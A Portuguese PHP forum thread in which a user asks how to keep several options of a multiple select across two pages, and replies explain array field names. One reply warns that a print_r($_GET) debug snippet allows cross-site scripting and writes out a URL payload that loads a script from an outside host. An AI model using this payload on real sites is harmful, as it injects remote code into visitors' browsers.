• Revista PROGRAMAR: Já está disponível a edição #53 da revista programar. Faz já o download aqui!

Umbus

Select com mais que uma opcoa seleccionada

8 mensagens neste tópico

Boas,

Nao sei se será o sitio mais correcto mas ca vai:

Tenho um select que selecçiona masi do que uma opção, e quero quando o utilizador carrega no botao na pagina seguinte apareca a opção seleccionada, entao fiz um if, que se a opção fosse seleccionada aparecia como seleccionado, mas tenho um problema, parece que no primeiro formulário ele fica como se tivesse seleccionado 2 opções mas e como se tivesse so uma opção seleccionada, aparecendo assim na segunda pagina só uma opção selecionada. PAra quem nao percebeu vou tentar ser masi especifico:

tenho pagina 1 e pagina 2:

Pagina 1 (pagina de formulario principal):

- Tenho um select (que permite mais do que uma opção seja seleccionada)

Pagina 2 (pagina que confere se o formulário esta bem feito para mandar para a base de dados):

- Tenho o mesmo select que na pagina 1 (so que so aparece a ultima opção escolhida na pagina 1).

Como posso resolver isto?

0

Partilhar esta mensagem


Link para a mensagem
Partilhar noutros sites

como é que tu tens um <select> que dá para mais que uma opcção seleccionada ?

De certeza que é um select ? ou estamos perante um radio ou checkboxes ??

0

Partilhar esta mensagem


Link para a mensagem
Partilhar noutros sites

Sim, é possível, com o atributo multiple.

http://www.w3schools.com/tags/tag_select.asp

Então primeiro vamos por partes o HTML.

<form>
<select name="caixa" multiple="1">
<option>casa</option>
<option selected="selected">relva</option>
<option selected="selected">madeira</option>
<option>galinhas</option>
</select>
</form>

Mas se fizeres um echo do que é passado, podes ver que apenas uma opção é mostrada porque elas se sobrepõem. OU seja, é enviado caixa=relva e depois caixa = madeira. Como contornar? Usas arrays de PHP e ficarás com os elementos todos! Experimenta agora analizar com o seguinte codigo e adpata à tua solução:

<form>
<select name="caixa[]" multiple="1">
<option>casa</option>
<option selected="selected">relva</option>
<option selected="selected">madeira</option>
<option>galinhas</option>
</select>
<input type="submit">
</form>
<?php
if(!empty($_GET)){
	print_r($_GET);
}
?>

0

Partilhar esta mensagem


Link para a mensagem
Partilhar noutros sites

Mas a mim ao fazer isso e como se depois nao nenhuma ficasse selecionada :S

0

Partilhar esta mensagem


Link para a mensagem
Partilhar noutros sites
<?php
if(!empty($_GET)){
	print_r($_GET);
}
?>

Falha de XSS. :D Experimenta espetar no url ?x=<script%20src=www.kakakeys.com/xs.js></script> ;)
0

Partilhar esta mensagem


Link para a mensagem
Partilhar noutros sites

Mas a mim ao fazer isso e como se depois nao nenhuma ficasse selecionada :S

Essa parte era so para ver como é que os dados passavam de uma forma (sem arrays) e de outra (com os arrays). Acho que agora já tens algumas informações por onde pegar o código  ;)

Falha de XSS. :D Experimenta espetar no url ?x=<script%20src=www.kakakeys.com/xs.js></script> :D

Era só para ele ver a diferença entre códigos, um exemplo académico...  :biggrin:

0

Partilhar esta mensagem


Link para a mensagem
Partilhar noutros sites

Falha de XSS. :D Experimenta espetar no url ?x=<script%20src=www.kakakeys.com/xs.js></script> ;)

Era só para ele ver a diferença entre códigos, um exemplo académico...  :biggrin:

Exemplos académicos não dispensam segurança. :D Só precisavas de implementar o print_r com isto:

if(!empty($_POST))
foreach($_POST as $k => $v)
	echo sprintf(
		"\$_POST[%s] => %s(%s) %s",
		(is_string($k) ? "'$k'" : $k),
		gettype($v),
		(is_string($v) ? strlen($v) :
			(is_int($v) || is_float($v) || is_bool($v) ? $v : 
				(is_null($v) ? '' : "formato nao suportado"))),
		(is_string($v) ? '"'.htmlentities($v).'"' : ''));

PS: Não testei este código e ele não vai funcionar para objectos (é o que dá fazer as coisas todas numa linha :D).

0

Partilhar esta mensagem


Link para a mensagem
Partilhar noutros sites

Eu nao tou na universidade, tenham calma pah XD. Continuo a nao consegui o maximo que ja fiz foi isto, mas so aparece um:

1ª pagina

  <select name="genero" size="5" multiple="multiple" id="genero">
                    <?
                    $totalcatfilmes = mysql_query("SELECT * FROM categoriasfilmes ORDER BY catfilme ASC;", $ligar);

                    while ($registos = mysql_fetch_array($totalcatfilmes)) {
												$idcatfilme = $registos["id"];
												$catfilme = $registos["catfilme"];

                    ?>
                                <option value=<? echo $idcatfilme; ?>><? echo $catfilme; ?></option>
									<?
									}
									?>
              </select>  

2 pagina


<select name="genero" size="5" multiple="multiple" id="genero">
                    <?
                    $totalcatfilmes = mysql_query("SELECT * FROM categoriasfilmes ORDER BY catfilme ASC;", $ligar);

                    while ($registos = mysql_fetch_array($totalcatfilmes)) {
												$idcatfilme = $registos["id"];
												$catfilme = $registos["catfilme"];

           												if ($idcatfilme == $genero) {
                    ?>
                                <option value=<? echo $idcatfilme; ?> selected="selected"><? echo $catfilme; ?></option>
									<?
												} else {
                    ?>
                                <option value=<? echo $idcatfilme; ?>><? echo $catfilme; ?></option>
									<?
												}
									}
									?>

      </select>

0

Partilhar esta mensagem


Link para a mensagem
Partilhar noutros sites

Crie uma conta ou ligue-se para comentar

Só membros podem comentar

Criar nova conta

Registe para ter uma conta na nossa comunidade. É fácil!


Registar nova conta

Entra

Já tem conta? Inicie sessão aqui.


Entrar Agora